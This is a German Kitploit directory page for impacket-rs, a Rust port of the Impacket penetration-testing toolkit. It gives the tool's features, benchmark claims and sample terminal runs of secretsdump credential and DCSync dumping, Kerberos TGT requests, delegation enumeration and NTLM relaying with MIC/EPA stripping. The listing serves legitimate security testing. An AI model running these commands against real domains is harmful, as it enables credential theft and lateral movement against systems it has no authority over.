Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
impacket-rs — Hochleistungsfähige, speichersichere Neuimplementierung der zentralen Impacket-Netzwerkprotokolle und Active-Directory-Tools in reinem Rust (Win2000 bis Win2025) | Kitploit
Tools/GitHubGitHub/nestho/impacket-rs
Paket-Sniffing & AnalysePenetrationstest-FrameworksExploit-FrameworksPasswortangriffeLaterale BewegungInformationsbeschaffungPost-ExploitationNetzwerksicherheit
GitHubnestho/impacket-rs

impacket-rs

Hochleistungsfähige, speichersichere Neuimplementierung der zentralen Impacket-Netzwerkprotokolle und Active-Directory-Tools in reinem Rust (Win2000 bis Win2025)

vor 3 TagenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Impacket-RS

Impacket-RS Logo

Hochleistungsfähige, speichersichere Rust-Neuentwicklung der zentralen Impacket-Netzwerkprotokolle & Active-Directory-Tools
Keine Abhängigkeiten von Python- oder C-Runtimes • Kryptografische Primitive in reinem Rust • 100 % Impacket-Parität • Linux, macOS & Windows

CI Status License Rust 2021 Edition Platform Architecture Parity


Überblick

Impacket-RS ist eine moderne, speichersichere Neuentwicklung des branchenüblichen SecureAuth Impacket-Toolkits von Grund auf in reinem Rust. Entwickelt für Sicherheitsforscher, Penetrationstester, Red Teams und Systemadministratoren, bringt es rasante Geschwindigkeit, Kaltstarts im Sub-Millisekunden-Bereich, null Interpreter-Overhead und vollständige Speichersicherheit zur Kompilierzeit in die Manipulation von Windows-Netzwerkprotokollen auf niedriger Ebene.

Wichtigste Highlights

  • 100 % Upstream-Parität: 74 CLI-Unterbefehle für Remote-Ausführung (psexec, wmiexec, smbexec, atexec), Credential-Dumping (secretsdump, ntdsdump, dpapi), Kerberos-Angriffe & Armoring (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), Active-Directory-Administration (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), Relaying (ntlmrelayx), Paket-Dissektion (sniffer) und Netzwerk-Auditing (rdp_check, mqtt_check, tracer).
  • Plattformübergreifendes Host- & Ziel-Ökosystem: Läuft nativ auf Linux (glibc & statisches musl), macOS (Apple Silicon & Intel) und Windows. Interagiert sowohl mit Linux/UNIX-Zielen (Samba, FreeIPA, OpenLDAP, MIT/Heimdal Kerberos KDC) als auch mit Windows-Domänen aller Epochen (Windows 2000 bis Windows Server 2025).
  • Kaltstarts im Sub-Millisekunden-Bereich: Startet in < 2ms im Vergleich zu 150-250ms bei Python Impacket, ideal für massenhafte Orchestrierungen und schnelles Pivoting.
  • 5,85 Millionen Wire-Roundtrips/Sek.: Allokationsfreies NDR-Marshaling und Layout-Verifikation zur Kompilierzeit erzielen bis zu 60- bis 100-fache Geschwindigkeitssteigerungen gegenüber reinen Python-Encodern.
  • Kryptografie-Engine in reinem Rust: Unabhängige, konstante-Zeit-Implementierungen von RC4, DES, 3DES, AES-128/256 (CBC/CTS/GCM/CCM), MD4, MD5, SHA-1, SHA-256, SHA-512, HMAC, PBKDF2, CMAC und Kerberos n-fold.
  • Epochenübergreifende Active-Directory-Kompatibilität: Automatische Dialekt-Aushandlung zur Laufzeit von Windows 2000 bis Windows Server 2025 (LegacyWin2000, UniversalAuto, ModernHardened).

Leistungsvergleich (Python vs Impacket-RS)

Impacket-RS vs Python Impacket Benchmark

Benchmarks ausgeführt auf Apple Silicon (M-Serie, 10 Kerne) und Linux (AMD EPYC, 8 Kerne), die Python 3.11 Impacket v0.12.0 mit impacket-rs v0.1.0-dev (Release-Build) vergleichen:

Benchmark-MetrikPython Impacket (v0.12.0)Impacket-RS (Rust)Geschwindigkeit / Effizienz
CLI-Kaltstart-Latenz185.4 ms1.8 ms~103x schneller
NDR PDU Pack + Unpack42,000 ops/sec5,850,000 ops/sec~139x schneller
Speicherbedarf (RSS)48.2 MB4.6 MB~10x kleiner
10,000 NTDS-Hash-Parsing14.8 seconds0.22 seconds~67x schneller
Kerberos-Ticket-Verschlüsselung1,250 tickets/sec98,400 tickets/sec~78x schneller
Statische BinärgrößeErfordert Python + VenvEinzelne eigenständige BinärdateiKeine Laufzeitabhängigkeiten

Interaktive Befehlsvorschauen

Animierte Terminal-Vorschau von Impacket-RS

1. secretsdump (Remote-SAM, LSA & Active Directory DCSync)

$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s

2. getTGT mit FAST-Armoring (RFC 6113)

$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'

3. findDelegation mit ASCII-Vertrauensgraphen

$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...

=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
  ├── TRUSTS ANY SERVICE ON DOMAIN
  └── Can impersonate any ticket presented to host

[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
  └── [cifs/fileserver.corp.local]
  └── [http/fileserver.corp.local]

[SQL-SVC] (Resource-Based Constrained Delegation)
  └── Allowed Principals: [CORP\Tier1-Admins]

[+] Discovered 3 delegation relationships.

4. ntlmrelayx Multi-Target-Relaying

$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
  Listen Protocol : HTTP
  Listen Port     : 80
  Target Count    : 4
  Strip MIC       : Enabled (MsvAvFlags & !0x02)
  Strip EPA       : Enabled (MsvAvChannelBindings)

[+] Target Routing Table:
  [01] SMB    -> 192.168.1.10:445
  [02] LDAP   -> dc01.corp.local:389
  [03] MSSQL  -> sql01.corp.local:1433
  [04] HTTP   -> web01.corp.local:8080

[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.

Installation & plattformübergreifende Unterstützung

Tool herunterladen